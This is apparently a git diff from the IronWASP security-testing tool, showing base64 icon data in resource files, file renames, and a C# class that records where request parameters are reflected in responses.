//////////////////GP///////////////////hh///////////////////4Yf///////////////// + /8GD///////////////////Bg///////////////////gYH//////////////////4GB//////////// + //////8BgP//////////////////AYD//////////////////gGAf/////////////////4BgH////// + ///////////8AYA//////////////////AGAP/////////////////gBgB/////////////////4AYAf + ////////////////8AGAD/////////////////ABgA/////////////////gAYAH//////////////// + 4AGAB////////////////8ABgAP////////////////AAYAD////////////////gAGAAf////////// + /////4ABgAH///////////////8AAYAA///////////////+AAGAAH///////////////gABgAB///// + //////////wAAYAAP//////////////8AAGAAD//////////////+AABgAAf//////////////gAAYAA + H//////////////wAAGAAA//////////////8AABgAAP/////////////+AAAYAAB//////////////g + AAGAAAf/////////////wAABgAAD/////////////8AAAYAAA//////////////AAAGAAAP///////// + ////4AABgAAH/////////////2AAAYAABv////////////4wAAGAAAx////////////+MAABgAAMf/// + /////////BgAAYAAGD////////////wYAAGAABg////////////4DAABgAAwH///////////+AwAAYAA + MB////////////AGAAGAAGAP///////////wBgABgABgD///////////4AMAAYAAwAf//////////+AD + AAGAAMAH///////////AAYABgAGAA///////////wAGAAYABgAP//////////4AAgAGAAQAB//////// + //+AAMABgAMAAf//////////AABAAYACAAD//////////wAAYAGABgAA//////////4AAGABgAQAAH// + ///////+AAAwAYAMAAB//////////AAAMAGACAAAP/////////wAABgBgBgAAD/////////4AAAYAYAY + AAAf////////+AAADAGAMAAAH/////////AAAA////AAAA/////////wAAAH///gAAAP////////4AAA + D///4AAAB////////+AAAAwAADAAAAf////////AAAAYAAAQAAAD////////wAAAGAAAGAAAA/////// + /4AAADAAAAgAAAH///////+AAAAwAAAMAAAB////////AAAAYAAABAAAAP///////wAAAGAAAAYAAAD/ + //////4AAADAAAACAAAAf//////+AAAAwAAAAwAAAH///////AAAAYAAAAEAAAA///////wAAAGAAAAB + gAAAP//////4AAADAAAAAIAAAB//////+AAAAwAAAADAAAAf//////AAAAYAAAAAQAAAD//////wAAAG + AAAAAGAAAA//////4AAADAAAAAAgAAAH/////+AAAAwAAAAAMAAAB//////AAAAIAAAAABAAAAP///// + wAAAGAAAAAAYAAAD/////4AAABAAAAAACAAAAf////+AAAAwAAAAAAwAAAH/////AAAAIAAAAAAEAAAA + /////wAAAGAAAAAABgAAAP////4AAABAAAAAAAIAAAB////+AAAAwAAAAAADAAAAf////AAAAMAAAAAA + AQAAAD////wAAAGAAAAAAAGAAAA////4AAABgAAAAAAAgAAAH///+AAAAwAAAAAAAMAAAB////AAAAMA + AAAAAABAAAAP///wAAAGAAAAAAAAYAAAD///4AAABgAAAAAAACAAAAf//+AAAAwAAAAAAAAwAAAH///A + AAAMAAAAAAAAEAAAA///wAAAGAAAAAAAABgAAAP//4AAABgAAAAAAAAIAAAB//+AAAAwAAAAAAAADAAA + Af//AAAAMAAAAAAAAAQAAAD//wAAAGAAAAAAAAAGAAAA//4AAAH4AAAAAAAAH4AAAH/+AAAH/wAAAAAA + AP/gAAB//AAAP//wAAAAAA///AAAP/wAAf///gAAAAB///+AAD/4AAf////gAAAH////4AAf+AA///// + /AAAP/////wAH/AA//////+AAf//////AA/wB///////+B///////+AP4B/////////////////4B+D/ + /////////////////wfD///////////////////D//////////////////////////////////////// + /////////////////////////////////////////////4lQTkcNChoKAAAADUlIRFIAAAEAAAABAAgG + AAAAXHKoZgAAHntJREFUeNrtnXmcXEW1x7/DIiiogLIoKmprfC68RhtQQARcQCh0Hj73XcSlWcIq4BLC + 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 + + + \ No newline at end of file diff --git a/IronWASP/Reflection.cs b/Iron/Reflection.cs similarity index 96% rename from IronWASP/Reflection.cs rename to Iron/Reflection.cs index 7d8460d..aec67ec 100644 --- a/IronWASP/Reflection.cs +++ b/Iron/Reflection.cs @@ -1,157 +1,157 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -using System; -using System.Collections.Generic; -using System.Text; - -namespace IronWASP -{ - public class Reflection - { - public string Name = ""; - public string Value = ""; - public string Section = ""; - List Contexts = new List(); - List Reflections = new List(); - - public int Length - { - get - { - return this.Value.Length; - } - } - - public int Count - { - get - { - return Reflections.Count; - } - } - - public Reflection(string Name, string Value, string Section) - { - this.Name = Name; - this.Value = Value; - this.Section = Section; - } - - public List GetReflections() - { - return new List(Reflections); - } - - public List GetContexts() - { - return new List(Contexts); - } - - public void Add(string Context, string Reflection) - { - Contexts.Add(Context); - Reflections.Add(Reflection); - } - - public void Add(string Reflection) - { - Add("", Reflection); - } - } - - public class Reflections - { - public List Url = new List(); - public List UrlPathPart = new List(); - public List Query = new List(); - public List Body = new List(); - public List Cookie = new List(); - public List Header = new List(); - - public int Count - { - get - { - return Url.Count + UrlPathPart.Count + Query.Count + Body.Count + Cookie.Count + Header.Count; - } - } - - public List> GetList() - { - return new List> { Url, UrlPathPart, Query, Body, Cookie, Header }; - } - - public bool HasUrlPathPartMatch(int Position) - { - string PositionName = string.Format("UrlPathPart : {0}", Position); - foreach (Reflection Ref in UrlPathPart) - { - if (Ref.Name == PositionName) - { - return true; - } - } - return false; - } - public bool HasQueryMatch(string Name) - { - foreach (Reflection Ref in Query) - { - if (Ref.Name == Name) - { - return true; - } - } - return false; - } - public bool HasBodyMatch(string Name) - { - foreach (Reflection Ref in Body) - { - if (Ref.Name == Name) - { - return true; - } - } - return false; - } - public bool HasCookieMatch(string Name) - { - foreach (Reflection Ref in Cookie) - { - if (Ref.Name == Name) - { - return true; - } - } - return false; - } - public bool HasHeaderMatch(string Name) - { - foreach (Reflection Ref in Header) - { - if (Ref.Name == Name) - { - return true; - } - } - return false; - } - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +using System; +using System.Collections.Generic; +using System.Text; + +namespace IronWASP +{ + public class Reflection + { + public string Name = ""; + public string Value = ""; + public string Section = ""; + List Contexts = new List(); + List Reflections = new List(); + + public int Length + { + get + { + return this.Value.Length; + } + } + + public int Count + { + get + { + return Reflections.Count; + } + } + + public Reflection(string Name, string Value, string Section) + { + this.Name = Name; + this.Value = Value; + this.Section = Section; + } + + public List GetReflections() + { + return new List(Reflections); + } + + public List GetContexts() + { + return new List(Contexts); + } + + public void Add(string Context, string Reflection) + { + Contexts.Add(Context); + Reflections.Add(Reflection); + } + + public void Add(string Reflection) + { + Add("", Reflection); + } + } + + public class Reflections + { + public List Url = new List(); + public List UrlPathPart = new List(); + public List Query = new List(); + public List Body = new List(); + public List Cookie = new List(); + public List Header = new List(); + + public int Count + { + get + { + return Url.Count + UrlPathPart.Count + Query.Count + Body.Count + Cookie.Count + Header.Count; + } + } + + public List> GetList() + { + return new List> { Url, UrlPathPart, Query, Body, Cookie, Header }; + } + + public bool HasUrlPathPartMatch(int Position) + { + string PositionName = string.Format("UrlPathPart : {0}", Position); + foreach (Reflection Ref in UrlPathPart) + { + if (Ref.Name == PositionName) + { + return true; + } + } + return false; + } + public bool HasQueryMatch(string Name) + { + foreach (Reflection Ref in Query) + { + if (Ref.Name == Name) + { + return true; + } + } + return false; + } + public bool HasBodyMatch(string Name) + { + foreach (Reflection Ref in Body) + { + if (Ref.Name == Name) + { + return true; + } + } + return false; + } + public bool HasCookieMatch(string Name) + { + foreach (Reflection Ref in Cookie) + { + if (Ref.Name == Name) + { + return true; + } + } + return false; + } + public bool HasHeaderMatch(string Name) + { + foreach (Reflection Ref in Header) + { + if (Ref.Name == Name) + { + return true; + } + } + return false; + } + } +} diff --git a/IronWASP/ReflectionContext.cs b/Iron/ReflectionContext.cs similarity index 100% rename from IronWASP/ReflectionContext.cs rename to Iron/ReflectionContext.cs diff --git a/IronWASP/ReportGenerationWizard.Designer.cs b/Iron/ReportGenerationWizard.Designer.cs similarity index 100% rename from IronWASP/ReportGenerationWizard.Designer.cs rename to Iron/ReportGenerationWizard.Designer.cs diff --git a/IronWASP/ReportGenerationWizard.cs b/Iron/ReportGenerationWizard.cs similarity index 100% rename from IronWASP/ReportGenerationWizard.cs rename to Iron/ReportGenerationWizard.cs diff --git a/Iron/ReportGenerationWizard.resx b/Iron/ReportGenerationWizard.resx new file mode 100644 index 0000000..a50e591 --- /dev/null +++ b/Iron/ReportGenerationWizard.resx @@ -0,0 +1,1939 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + True + + + True + + + True + + + True + + + True + + + True + + + 17, 17 + + + + + AAABAAYAEBAAAAEAIABoBAAAZgAAACAgAAABACAAqBAAAM4EAAAwMAAAAQAgAKglAAB2FQAAQEAAAAEA + IAAoQgAAHjsAAICAAAABACAAKAgBAEZ9AAAAAAAAAQAgALQeAABuhQEAKAAAABAAAAAgAAAAAQAgAAAA + AAAABAAAIy4AACMuAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADRl08C0ZdPAgAA + 